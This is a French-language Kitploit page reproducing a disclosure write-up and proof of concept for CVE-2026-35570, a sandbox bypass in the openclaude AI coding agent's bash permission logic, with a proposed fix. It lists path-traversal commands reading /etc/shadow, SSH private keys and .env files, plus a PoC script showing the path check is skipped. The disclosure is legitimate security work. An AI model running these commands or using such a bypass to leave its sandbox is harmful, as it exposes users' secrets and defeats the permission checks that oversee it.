Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-35570 — # Analyse détaillée et preuve de concept pour CVE-2026-35570, un contournement de sandbox dans openclaude v0.1.7 permettant un chemin de traversée pour lire et écrire des fichiers arbitraires en dehors du sandbox. | Kitploit
Outils/GitHubGitHub/rickidevs/cve-2026-35570
Analyse des VulnérabilitésAnalyse de CodeExploitationSécurité Web
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# Analyse détaillée et preuve de concept pour CVE-2026-35570, un contournement de sandbox dans openclaude v0.1.7 permettant un chemin de traversée pour lire et écrire des fichiers arbitraires en dehors du sandbox.

Voir le dépôt
13il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Sortir du Sandbox : Comment j'ai trouvé un contournement critique de Path Traversal dans openclaude

CVE-2026-35570 | CVSS 8.4 (Élevé) | openclaude v0.1.7


Toutes les vulnérabilités ne nécessitent pas une chaîne d'exploitation sophistiquée. Parfois, une simple instruction return mal placée suffit à percer un trou béant dans votre modèle de sécurité. C'est exactement ce qu'est la CVE-2026-35570.

Cet article couvre un contournement de sandbox que j'ai trouvé dans openclaude v0.1.7 — un défaut logique qui laisse les charges utiles de path traversal passer directement à travers la couche d'isolation du système de fichiers sans jamais être vérifiées.


Comment je l'ai trouvé

Je parcourais bashPermissions.ts quand quelque chose dans le flux de contrôle a attiré mon attention. La logique de permission semblait raisonnable à première vue — si nous sommes dans un sandbox, autoriser automatiquement la commande ; sinon, demander à l'utilisateur. Assez propre.

Mais une question me taraudait : où la vérification des contraintes de chemin a-t-elle réellement lieu ?

J'ai tracé bashToolHasPermission() de haut en bas et cartographié le chemin d'exécution :

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] Bloc d'auto-autorisation du sandbox
    │       └─ Aucune règle de refus trouvée → retour ALLOW  ⚠️ Sortie anticipée
    │
    └─ [~1644] checkPathConstraints()              ❌ Jamais atteint

Le bloc sandbox a été conçu pour ignorer les invites de permission interactives dans les environnements sandboxés. Tout à fait raisonnable. Le problème est que lorsqu'il retourne ALLOW, la fonction se termine immédiatement. checkPathConstraints() — la fonction réellement responsable de détecter le path traversal — ne s'exécute jamais.


Ce qui se passe réellement

À l'intérieur de bashToolHasPermission(), le bloc d'auto-autorisation du sandbox suit cette logique :

  1. Le sandboxing est-il activé ? → Oui
  2. L'auto-autorisation est-elle activée ? → Oui
  3. Existe-t-il une règle de refus explicite pour cette session ? → Non
  4. → Retourner ALLOW et quitter la fonction

À ce stade, checkPathConstraints() est complètement contournée. Le filtre de path traversal n'a aucune chance de faire quoi que ce soit.

Du point de vue d'un attaquant, cela signifie que des commandes comme celles-ci passent directement :

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

Toutes reviennent avec behavior: allow. Aucune invite. Aucun blocage. Rien.


Impact

Trois choses deviennent possibles lorsque ce défaut est présent :

Lectures de fichiers arbitraires. Tout ce qui se trouve en dehors des limites du sandbox est à portée — /etc/passwd, /etc/shadow, clés privées SSH, fichiers .env. Tant que les permissions au niveau du système d'exploitation le permettent, le fichier peut être lu.

Écritures de fichiers arbitraires. La même logique s'applique en sens inverse. Un attaquant peut écrire vers des chemins en dehors du sandbox, ce qui ouvre la porte à l'écrasement de fichiers de configuration ou au dépôt de contenu dans des emplacements inattendus.

Échec complet de l'isolation du sandbox. Tout l'intérêt du sandbox est de faire respecter les limites du système de fichiers. Avec ce bug présent, cette garantie ne signifie plus rien.

CVSS v3.1 : 8.4 (Élevé) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


Le correctif

Le correctif est conceptuellement simple. Le bloc d'auto-autorisation du sandbox devrait supprimer les invites interactives — c'est tout. Il ne devrait jamais court-circuiter le pipeline complet de permissions.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // Ne retourner tôt que pour deny ou ask — ne jamais sauter les vérifications de chemin sur allow
    return sandboxResult;
  }

  // Si allow, continuer vers checkPathConstraints ci-dessous
}

// La vérification de path traversal doit toujours s'exécuter
return checkPathConstraints(input, appState.toolPermissionContext);

La règle d'or ici : l'auto-autorisation du sandbox saute l'invite, pas les vérifications de sécurité.


Versions affectées

ChampDétail
Paquetopenclaude
Version affectéev0.1.7
Version corrigéeAucune
CVECVE-2026-35570
CVSS8.4 (Élevé)

Preuve de concept

Prérequis

  • Node.js >= 18
  • openclaude v0.1.7

Étape 1 — Cloner et installer

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

Étape 2 — Activer le mode sandbox

Lancez openclaude avec les indicateurs sandbox et auto-autorisation activés :

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

Les noms de variables peuvent légèrement différer. Vérifiez la classe SandboxManager pour confirmer les correspondances exactes des variables d'environnement pour votre build.

Étape 3 — Exécuter le script de test

Enregistrez ce qui suit sous poc.ts à la racine du projet :

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// Configurer les conditions du sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// Charge utile avec path traversal
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Résultat :', result.behavior);
// Attendu :  "deny"   — le path traversal devrait être bloqué
// Réel :    "allow"  ← vulnérabilité confirmée

Puis exécutez-le :

root@kitploit:~
npx ts-node poc.ts

Étape 4 — Observer la sortie

Vous verrez :

root@kitploit:~
Résultat : allow

checkPathConstraints() n'a jamais été appelée. Pour le confirmer vous-même, ajoutez une ligne de journal dans bashPermissions.ts :

root@kitploit:~
// Vers la ligne 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints a été appelée'); // Cela ne s'affichera jamais
  // ...
}

Exécutez à nouveau le script. Le journal n'apparaîtra pas — la fonction est réellement ignorée.

Étape 5 — Reproduire dans l'interface réelle

Ouvrez openclaude dans une session sandbox et soumettez la commande suivante :

root@kitploit:~
cat ../../../../../etc/passwd

Elle s'exécute sans aucune invite de permission ni blocage, et affiche directement le contenu de /etc/passwd.


CVE-2026-35570

Télécharger l’outil